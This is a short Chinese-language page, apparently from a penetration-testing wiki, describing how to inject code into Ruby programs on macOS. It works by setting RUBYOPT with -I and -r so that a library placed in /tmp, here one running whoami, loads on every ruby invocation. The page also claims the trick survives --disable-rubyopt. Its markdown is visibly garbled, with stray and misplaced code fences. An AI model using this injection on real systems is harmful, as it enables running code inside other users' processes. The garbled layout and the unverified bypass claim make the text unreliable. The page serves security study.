macOS Ruby Applications Injection
RUBYOPT
使用这个环境变量可以在每次执行 ruby 时添加新的参数。虽然不能使用参数 -e 来指定要执行的 ruby 代码,但可以使用参数 -I 和 -r 来添加一个新的文件夹到库加载路径,然后指定一个要加载的库。
在 /tmp 中创建库 inject.rb:
puts `whoami`创建一个 Ruby 脚本,例如:
puts "Hello, world!"```ruby puts 'Hello, World!' ``` ```markdown 然后使用以下命令加载一个任意的ruby脚本: ``` ```bash RUBYOPT="-I/tmp -rinject" ruby hello.rb ``` 趣事,即使使用参数 **`--disable-rubyopt`** 也能工作: ```bash RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt ```
最后更新于